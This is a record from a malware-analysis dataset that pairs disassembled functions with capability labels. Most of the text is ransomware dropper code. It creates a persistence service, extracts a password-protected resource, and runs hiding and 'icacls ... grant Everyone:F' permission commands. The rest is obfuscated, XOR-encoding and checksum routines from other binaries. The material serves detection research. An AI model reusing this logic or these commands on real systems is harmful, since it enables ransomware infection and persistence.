joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ce8
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push edi
xor edi, edi
push 0xf003f
push edi
push edi
mov dword [ebp - 8], edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, edi
mov dword [ebp - 4], eax
jne 0x401d12
xor eax, eax
jmp 0x401da8
push ebx
push esi
mov ebx, 0xf01ff
mov esi, 0x40f8ac
push ebx
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
cmp eax, edi
mov dword [ebp - 0xc], eax
je 0x401d45
push edi
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 1
pop esi
jmp 0x401d9b
push dword [ebp + 8]
lea eax, [ebp - 0x40c]
push str.cmd.exe__c___s_
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x40c]
push edi
push edi
push edi
push edi
push edi
push eax
push 1
push 2
push 0x10
push ebx
push esi
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
cmp esi, edi
je 0x401d98
push edi
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [ebp - 8], 1
mov esi, dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, esi
pop esi
pop ebx
pop edi
leave
ret

Function at 0x401dab
Capabilities:
Check if file exists
Extract resource via kernel32 functions
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push esi
push edi
push 0x40f43c
push 0x80a
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x401e07
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x401e07
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x401e07
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push edi
call fcn.004075ad
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x401e0e
xor eax, eax
jmp 0x401e9a
and dword [ebp - 0x12c], 0
push ebx
push 0x4a
xor eax, eax
pop ecx
lea edi, [ebp - 0x128]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x12c]
push eax
push 0xffffffffffffffff
push esi
call fcn.004075c4
mov ebx, dword [ebp - 0x12c]
add esp, 0xc
xor edi, edi
test ebx, ebx
jle 0x401e8f
lea eax, [ebp - 0x12c]
push eax
push edi
push esi
call fcn.004075c4
lea eax, [ebp - 0x128]
push str.c.wnry
push eax
call sub.MSVCRT.dll_strcmp
add esp, 0x14
test eax, eax
jne 0x401e79
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401e8a
lea eax, [ebp - 0x128]
push eax
push edi
push esi
call fcn.0040763d
add esp, 0xc
inc edi
cmp edi, ebx
jl 0x401e41
push esi
call fcn.00407656
pop ecx
push 1
pop eax
pop ebx
pop edi
pop esi
leave
ret
Function at 0x401fe7
Capabilities:
Check if file exists
Copy file
Get file attributes
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6e4
mov al, byte [0x40f910]
push ebx
push esi
push edi
mov byte [ebp - 0x20c], al
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x20b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x20c]
push 0x208
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40f8ac
call fcn.00401225
pop ecx
call dword [sym.imp.MSVCRT.dll___p___argc]
cmp dword [eax], 2
jne 0x40208e
push 0x40f538
call dword [sym.imp.MSVCRT.dll___p___argv]
mov eax, dword [eax]
push dword [eax + 4]
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x40208e
push ebx
call fcn.00401b5f
test eax, eax
pop ecx
je 0x40208e
mov esi, str.tasksche.exe
push ebx
lea eax, [ebp - 0x20c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40208e
call fcn.00401f5d
test eax, eax
jne 0x402165
mov esi, dword [sym.imp.MSVCRT.dll_strrchr]
lea eax, [ebp - 0x20c]
push 0x5c
push eax
call esi
pop ecx
test eax, eax
pop ecx
je 0x4020b4
lea eax, [ebp - 0x20c]
push 0x5c
push eax
call esi
pop ecx
mov byte [eax], bl
pop ecx
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 1
call fcn.004010fd
mov dword [esp], str.WNcry_2ol7
push ebx
call fcn.00401dab
call fcn.00401e9e
push ebx
push ebx
push str.attrib_h_.
call fcn.00401064
push ebx
push ebx
push str.icacls_.__grant_Everyone:F__T__C__Q
call fcn.00401064
add esp, 0x20
call fcn.0040170a
test eax, eax
je 0x402165
lea ecx, [ebp - 0x6e4]
call fcn.004012fd
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x6e4]
call fcn.00401437
test eax, eax
je 0x40215a
lea eax, [ebp - 4]
lea ecx, [ebp - 0x6e4]
push eax
push str.t.wnry
mov dword [ebp - 4], ebx
call fcn.004014a6
cmp eax, ebx
je 0x40215a
push dword [ebp - 4]
push eax
call fcn.004021bd
pop ecx
cmp eax, ebx
pop ecx
je 0x40215a
push str.TaskStart
push eax
call fcn.00402924
pop ecx
cmp eax, ebx
pop ecx
je 0x40215a
push ebx
push ebx
call eax
lea ecx, [ebp - 0x6e4]
call fcn.0040137a
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
Function at 0x402470
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0x14]
and dword [ebp - 4], 0
mov eax, dword [edi + 4]
mov dword [ebp + 0x14], eax
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x40253f
add esi, 0x10
mov eax, dword [esi]
test eax, eax
jne 0x4024df
mov eax, dword [ebp + 0x10]
mov ebx, dword [eax + 0x38]
test ebx, ebx
jle 0x40252a
push dword [edi + 0x30]
mov eax, dword [ebp + 0x14]
add eax, dword [esi - 4]
push 4
push 0x1000
push ebx
push eax
call dword [edi + 0x1c]
add esp, 0x14
test eax, eax
je 0x402547
mov eax, dword [ebp + 0x14]
push ebx
add eax, dword [esi - 4]
push 0
push eax
mov dword [esi - 8], eax
call sub.MSVCRT.dll_memset
add esp, 0xc
jmp 0x40252a
mov ecx, dword [esi + 4]
add ecx, eax
push ecx
push dword [ebp + 0xc]
call fcn.00402457
pop ecx
test eax, eax
pop ecx
je 0x402547
push dword [edi + 0x30]
mov ebx, dword [ebp + 0x14]
mov eax, ebx
add eax, dword [esi - 4]
push 4
push 0x1000
push dword [esi]
push eax
call dword [edi + 0x1c]
add esp, 0x14
test eax, eax
je 0x402547
mov eax, dword [esi + 4]
push dword [esi]
add eax, dword [ebp + 8]
add ebx, dword [esi - 4]
push eax
push ebx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov dword [esi - 8], ebx
mov eax, dword [edi]
inc dword [ebp - 4]
add esi, 0x28
movzx eax, word [eax + 6]
cmp dword [ebp - 4], eax
jl 0x40249c
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
xor eax, eax
jmp 0x402542
Function at 0x403a28
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [ecx + 4], 0
push esi
jne 0x403a51
push 0x40f570
lea ecx, [ebp - 0xc]
call dword [sym.imp.MSVCRT.dll_public:_void___thiscall_exception::constructor_char_const__const_const__]
lea eax, [ebp - 0xc]
push 0x40d570
push eax
call sub.MSVCRT.dll__CxxThrowException
xor esi, esi
cmp dword [ecx + 0x3cc], esi
jle 0x403a72
mov eax, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov dl, byte [edi]
xor byte [eax], dl
inc edi
inc eax
inc esi
cmp esi, dword [ecx + 0x3cc]
jl 0x403a62
pop edi
pop esi
leave
ret 8

Function at 0x40541f
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x40542d
xor eax, eax
pop ebp
ret
mov eax, dword [ebp + 8]
cmp dword [ebp + 0x10], 8
push esi
push edi
not eax
mov ecx, 0xff
jb 0x40550e
mov edi, dword [ebp + 0x10]
push ebx
shr edi, 3
movzx ebx, byte [edx]
mov esi, eax
sub dword [ebp + 0x10], 8
and esi, ecx
xor esi, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [esi*4 + 0x40d054]
xor eax, ebx
inc edx
mov esi, eax
movzx ebx, byte [edx]
and esi, ecx
xor esi, ebx
movzx ebx, byte [edx + 1]
mov esi, dword [esi*4 + 0x40d054]
shr eax, 8
xor esi, eax
inc edx
mov eax, esi
and eax, ecx
xor eax, ebx
movzx ebx, byte [edx + 1]
mov eax, dword [eax*4 + 0x40d054]
shr esi, 8
xor eax, esi
inc edx
mov esi, eax
and esi, ecx
xor esi, ebx
movzx ebx, byte [edx + 1]
mov esi, dword [esi*4 + 0x40d054]
shr eax, 8
xor esi, eax
inc edx
mov eax, esi
and eax, ecx
xor eax, ebx
movzx ebx, byte [edx + 1]
mov eax, dword [eax*4 + 0x40d054]
shr esi, 8
xor eax, esi
inc edx
mov esi, eax
and esi, ecx
xor esi, ebx
movzx ebx, byte [edx + 1]
mov esi, dword [esi*4 + 0x40d054]
shr eax, 8
xor esi, eax
inc edx
mov eax, esi
and eax, ecx
xor eax, ebx
movzx ebx, byte [edx + 1]
mov eax, dword [eax*4 + 0x40d054]
shr esi, 8
xor eax, esi
inc edx
mov esi, eax
and esi, ecx
xor esi, ebx
shr eax, 8
mov esi, dword [esi*4 + 0x40d054]
xor eax, esi
inc edx
dec edi
jne 0x40544a
pop ebx
cmp dword [ebp + 0x10], 0
je 0x40552f
movzx edi, byte [edx]
mov esi, eax
and esi, ecx
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x40d054]
xor eax, esi
inc edx
dec dword [ebp + 0x10]
jne 0x405514
pop edi
pop esi
not eax
pop ebp
ret

Function at 0x405535
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 4]
push esi
push edi
mov edx, 0xff
mov esi, dword [ecx]
movzx edi, byte [esp + 0x10]
mov eax, esi
and eax, edx
xor eax, edi
shr esi, 8
mov eax, dword [eax*4 + 0x40d054]
xor eax, esi
mov esi, dword [ecx + 8]
mov dword [ecx], eax
and eax, edx
add eax, dword [ecx + 4]
mov edi, esi
and edi, edx
imul eax, eax, 0x8088405
inc eax
mov dword [ecx + 4], eax
shr eax, 0x18
xor eax, edi
pop edi
shr esi, 8
mov eax, dword [eax*4 + 0x40d054]
xor eax, esi
pop esi
mov dword [ecx + 8], eax
ret
Function at 0x405d8a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x405dbe
lea eax, [ebp + 8]
push 0
push eax
push edi
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x405db9
mov byte [esi + 8], 1
mov eax, dword [ebp + 8]
jmp 0x405de6
mov ecx, dword [esi + 0x1c]
mov eax, dword [esi + 0x18]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x405dcf
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0x14]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add dword [esi + 0x1c], edi
mov eax, edi
xor edx, edx
pop edi
div dword [ebp + 0xc]
pop esi
pop ebp
ret

Function at 0x406b8e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x406c36
cmp dword [esi + 4], 0xffffffff
jne 0x406c36
push edi
lea edi, [esi + 0x140]
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push edi
call sub.MSVCRT.dll_strlen
mov al, byte [eax + esi + 0x13f]
pop ecx
cmp al, 0x5c
je 0x406bde
cmp al, 0x2f
je 0x406bde
push 0x40f818
push edi
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
cmp dword [ebp + 0x10], 1
pop edi
jne 0x406c00
push 1
push 0
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x406c00
mov eax, 0x2000000
jmp 0x406c3b
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00405bae
add esp, 0x10
test eax, eax
jne 0x406c1e
mov eax, dword [ebp - 4]
jmp 0x406c3b
push eax
call fcn.00405fe2
mov dword [esi], eax
pop ecx
neg eax
sbb eax, eax
and ax, 0xfe00
add eax, 0x200
jmp 0x406c3b
mov eax, 0x1000000
pop esi
leave
ret 0xc

Function at 0x407070
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
push edi
je 0x407097
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x407097
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, dword [ebp + 0xc]
mov al, byte [edi]
test al, al
je 0x407132
push esi
mov esi, edi
mov ecx, edi
cmp al, 0x2f
je 0x4070b1
cmp al, 0x5c
jne 0x4070b3
mov esi, ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x4070a9
cmp esi, edi
je 0x4070e7
sub esi, edi
lea eax, [ebp - 0x208]
push esi
push edi
push eax
call sub.MSVCRT.dll_memcpy
and byte [ebp + esi - 0x208], 0
lea eax, [ebp - 0x208]
push eax
push ebx
call fcn.00407070
add esp, 0x14
and byte [ebp - 0x104], 0
pop esi
test ebx, ebx
je 0x407102
lea eax, [ebp - 0x104]
push ebx
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
lea eax, [ebp - 0x104]
push edi
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x104]
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x407132
lea eax, [ebp - 0x104]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
pop edi
pop ebx
leave
ret
Function at 0x65017730
Capabilities:
Resolve function by parsing pe exports

Disassembly:
inc eax
dec esi
add esp, 4
pop ecx
mov ecx, dword [ebp - 0x37c]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3d4], edx
push edi
add edi, 0xdd3f
xor edi, 0x11ca4
add dword [eax], eax
add edi, 0xe56f
pop edi
push ecx
push edi
add esp, 4
or ecx, 0x2d61
or ecx, 0x4608
sub ecx, 0x185fc
or ecx, 0x10184
pop ecx
mov dword [ebp - 0x8a8], 0
add byte [ebx - 0x3d37b], cl
dec dword [ecx - 0x193b7b]
inc dword [ebx - 0x193b43]
inc dword [eax]
jne 0x650177a7
mov ecx, dword [ebp - 0x8a8]
mov dword [ebp - 0x5dc], ecx
jmp 0x65017a98
mov edx, dword [ebp - 0x193c]
invalid
invalid
invalid

Function at 0x65017732
Capabilities:
Resolve function by parsing pe exports

Disassembly:
inc eax
dec esi
add esp, 4
pop ecx
mov ecx, dword [ebp - 0x37c]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3d4], edx
push edi
add edi, 0xdd3f
xor edi, 0x11ca4
add dword [eax], eax
add edi, 0xe56f
pop edi
push ecx
push edi
add esp, 4
or ecx, 0x2d61
or ecx, 0x4608
sub ecx, 0x185fc
or ecx, 0x10184
pop ecx
mov dword [ebp - 0x8a8], 0
add byte [ebx - 0x3d37b], cl
dec dword [ecx - 0x193b7b]
inc dword [ebx - 0x193b43]
inc dword [eax]
jne 0x650177a7
mov ecx, dword [ebp - 0x8a8]
mov dword [ebp - 0x5dc], ecx
jmp 0x65017a98
mov edx, dword [ebp - 0x193c]
invalid
invalid
invalid

Function at 0x65017750
Capabilities:
Resolve function by parsing pe exports

Disassembly:
inc eax
dec esi
add esp, 4
pop ecx
mov ecx, dword [ebp - 0x37c]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3d4], edx
push edi
add edi, 0xdd3f
xor edi, 0x11ca4
add dword [eax], eax
add edi, 0xe56f
pop edi
push ecx
push edi
add esp, 4
or ecx, 0x2d61
or ecx, 0x4608
sub ecx, 0x185fc
or ecx, 0x10184
pop ecx
mov dword [ebp - 0x8a8], 0
add byte [ebx - 0x3d37b], cl
dec dword [ecx - 0x193b7b]
inc dword [ebx - 0x193b43]
inc dword [eax]
jne 0x650177a7
mov ecx, dword [ebp - 0x8a8]
mov dword [ebp - 0x5dc], ecx
jmp 0x65017a98
mov edx, dword [ebp - 0x193c]
invalid
invalid
invalid

Function at 0x65017b8d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add esp, 4
add ebx, 0xedbd
or ebx, 0x9200
pop ebx
push ebx
add ebx, 0x16c93
add ebx, 0x5300
pop ebx
mov ecx, dword [ebp - 0x494]
mov dl, byte [ecx + 0xa]
mov byte [ebp - 0x459], dl
mov eax, dword [ebp - 0xc20]
sub eax, dword [ebp - 0x494]
mov dword [ebp - 0x19c8], eax
mov dword [ebp - 0xf00], 0
push ecx
and ecx, 0xd184
xor ecx, 0x134ac
and ecx, 0xc805
pop ecx
push edi
sub edi, 0x547
pop edi
push ecx
and ecx, 0x3608
pop ecx
push edx
sub edx, 0x438
add byte [ecx + 0x1b3bf2], al
add byte [edx - 0x3a], bl
test dword [esp + esi*8 - 0x39a90001], ecx
test dword [ebp + 0x69fffff4], ecx
mov byte [ebp - 0xb72], 0x72
mov byte [ebp - 0xb71], 0x74
mov byte [ebp - 0xb70], 0x75
mov byte [ebp - 0xb6f], 0x61
mov byte [ebp - 0xb6e], 0x6c
mov byte [ebp - 0xb6d], 0x50
Function at 0x65026a80
Capabilities:
Encode data using xor

Disassembly:
cmp al, 4
add ebx, dword [ebp + 0x53]
test bl, al
xor byte [esp + eax + 3], al
pop ebx
xchg al, al
ja 0x65026a82
add al, byte [edx]
add edi, dword [eax + 0x12]
retf 0x6388

Function at 0x65030310
Capabilities:
Encode data using xor

Disassembly:
add al, byte [edx]
add edi, dword [eax + 0x11]
mov ds, word [eax + 0x202df53]
mov word [eax + 0x202fd93], ds
out dx, al
adc al, 0xec
call 0xf3050529
mov bl, ch
sti
add al, byte [edx]
mov word [eax + 0x202fd93], cs
mov ss, word [eax + 0x202fd93]
mov word [eax + 0x202f63f], ss
mov ds, word [eax + 0x202fe97]
mov es, word [0xdf0f888c]
add al, byte [edx]
mov ss, word [eax + 0x202dbaf]
mov word [eax + 0x202f657], ss
push ebp
push ebx
xchg bh, al
pop es
jmp 0x6503036b
xchg bh, al
pop es
test ch, dh
lodsb al, byte [esi]
pop ds
add al, 3
Function at 0x65062f80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x24
mov eax, dword [0x6540f630]
xor eax, esp
mov dword [esp + 0x20], eax
mov edx, dword [esp + 0x28]
push esi
mov esi, dword [esp + 0x30]
mov dword [esp + 4], 0x310030
movsx eax, byte [edx]
and eax, 0xf
mov dword [esp + 8], 0x330032
mov ecx, dword [esi]
mov dword [esp + 0xc], 0x350034
mov dword [esp + 0x10], 0x370036
mov dword [esp + 0x14], 0x390038
mov dword [esp + 0x18], 0x620061
mov dword [esp + 0x1c], 0x640063
mov dword [esp + 0x20], 0x660065
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movzx eax, byte [edx]
mov ecx, dword [esi]
shr eax, 4
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movsx eax, byte [edx + 1]
mov ecx, dword [esi]
and eax, 0xf
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movzx eax, byte [edx + 1]
mov ecx, dword [esi]
shr eax, 4
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movsx eax, byte [edx + 2]
mov ecx, dword [esi]
and eax, 0xf
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movzx eax, byte [edx + 2]
mov ecx, dword [esi]
shr eax, 4
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movsx eax, byte [edx + 3]
mov ecx, dword [esi]
and eax, 0xf
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movzx eax, byte [edx + 3]
mov ecx, dword [esi]
shr eax, 4
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
mov ecx, dword [esp + 0x24]
pop esi
xor ecx, esp
call fcn.652ae9bb
add esp, 0x24
ret
Function at 0x65064f70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x24
mov eax, dword [0x6540f630]
xor eax, esp
mov dword [esp + 0x20], eax
mov edx, ecx
mov dword [esp], 0x310030
mov dword [esp + 4], 0x330032
mov dword [esp + 8], 0x350034
mov dword [esp + 0xc], 0x370036
movsx eax, byte [edx]
and eax, 0xf
mov dword [esp + 0x10], 0x390038
mov dword [esp + 0x14], 0x620061
mov dword [esp + 0x18], 0x640063
mov dword [esp + 0x1c], 0x660065
movzx eax, word [esp + eax*2]
push esi
mov esi, dword [esp + 0x2c]
mov ecx, dword [esi]
mov word [ecx], ax
add dword [esi], 2
movzx eax, byte [edx]
mov ecx, dword [esi]
shr eax, 4
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movsx eax, byte [edx + 1]
mov ecx, dword [esi]
and eax, 0xf
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movzx eax, byte [edx + 1]
mov ecx, dword [esi]
shr eax, 4
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movsx eax, byte [edx + 2]
mov ecx, dword [esi]
and eax, 0xf
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movzx eax, byte [edx + 2]
mov ecx, dword [esi]
shr eax, 4
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movsx eax, byte [edx + 3]
mov ecx, dword [esi]
and eax, 0xf
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movzx eax, byte [edx + 3]
mov ecx, dword [esi]
shr eax, 4
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movsx eax, byte [edx + 4]
mov ecx, dword [esi]
and eax, 0xf
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movzx eax, byte [edx + 4]
mov ecx, dword [esi]
shr eax, 4
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movsx eax, byte [edx + 5]
mov ecx, dword [esi]
and eax, 0xf
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movzx eax, byte [edx + 5]
mov ecx, dword [esi]
shr eax, 4
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movsx eax, byte [edx + 6]
mov ecx, dword [esi]
and eax, 0xf
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movzx eax, byte [edx + 6]
mov ecx, dword [esi]
shr eax, 4
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movsx eax, byte [edx + 7]
mov ecx, dword [esi]
and eax, 0xf
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
movzx eax, byte [edx + 7]
mov ecx, dword [esi]
shr eax, 4
movzx eax, word [esp + eax*2 + 4]
mov word [ecx], ax
add dword [esi], 2
mov ecx, dword [esp + 0x24]
pop esi
xor ecx, esp
call fcn.652ae9bb
add esp, 0x24
ret 4
Function at 0x650ff3b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ecx
push esi
mov esi, ecx
test byte [esi + 0x28], 0x34
jne 0x650ff506
mov ecx, dword [esi + 0x7c]
mov eax, 0x66666667
push ebx
mov ebx, dword [esi + 0x78]
sub ecx, ebx
imul ecx
push edi
mov edi, dword [esi + 0x74]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp edi, eax
jge 0x650ff504
mov eax, dword [esi + 0x88]
xor ecx, ecx
cmp eax, dword [esi + 0x84]
mov edx, 0x80
mov eax, dword [esi + 0x28]
cmovg ecx, edx
mov dword [esi + 0x88], 0
or ecx, eax
mov dword [esi + 0x84], 0
xor ecx, eax
and ecx, edx
xor ecx, eax
mov eax, 0x66666667
mov dword [esi + 0x28], ecx
mov ecx, dword [esi + 0x7c]
sub ecx, ebx
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp edi, eax
jge 0x650ff4f3
push ebp
nop dword [eax + eax]
lea eax, [edi + 1]
mov dword [esi + 0x74], eax
lea eax, [edi + edi*4]
lea ebx, [ebx + eax*4]
mov eax, dword [ebx]
and eax, 0xf
cmp eax, 6
ja case.default.0x650ff456
jmp dword [eax*4 + 0x650ff50c]
movzx eax, word [ebx + 4]
lea ecx, [esi + 0xc]
push eax
push dword [ebx + 8]
call dword [0x652b1a28]
mov eax, dword [ebx + 8]
inc eax
jmp 0x650ff497
push 1
push dword [ebx + 8]
lea ecx, [esi + 0xc]
call dword [0x652b23fc]
mov eax, dword [ebx + 0xc]
mov dword [esi + 0x84], eax
mov eax, dword [ebx + 0x10]
mov dword [esi + 0x88], eax
mov eax, dword [ebx + 8]
mov dword [esi + 0x18], eax
mov eax, dword [esi + 0x78]
mov ecx, dword [esi + 0x7c]
mov edi, dword [esi + 0x74]
sub ecx, eax
mov dword [esp + 0x10], eax
mov eax, 0x66666667
imul ecx
sar edx, 3
mov ebp, edx
shr ebp, 0x1f
add ebp, edx
cmp edi, ebp
jge 0x650ff4e8
mov ecx, dword [esp + 0x10]
lea eax, [edi + edi*4]
mov eax, dword [ecx + eax*4]
mov ecx, dword [ebx]
and eax, 0xf
and ecx, 0xf
cmp eax, ecx
je 0x650ff4e6
cmp ecx, 4
jae 0x650ff4e6
test eax, eax
je 0x650ff4e6
cmp eax, 4
jb 0x650ff4f2
test ecx, ecx
je 0x650ff4f2
cmp edi, ebp
mov ebx, dword [esp + 0x10]
jl 0x650ff440
pop ebp
or dword [esi + 0x28], 0x40
mov ecx, esi
pop edi
pop ebx
pop esi
add esp, 4
jmp sym.Qt5Widgets.dll_private:_void___thiscall_QWidgetLineControl::emitCursorPositionChanged_void_
pop edi
pop ebx
pop esi
pop ecx
ret
Function at 0x6518f760
Capabilities:
Get disk information

Disassembly:
sub esp, 8
mov ecx, dword [esp + 0xc]
lea eax, [esp]
push esi
push 3
push eax
call dword [0x652b1db0]
push 0
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
call dword [0x652b215c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov esi, dword [esp + 8]
or ecx, 0xffffffff
test eax, eax
cmove esi, ecx
lea ecx, [esp + 4]
call dword [0x652b2410]
mov eax, esi
pop esi
add esp, 8
ret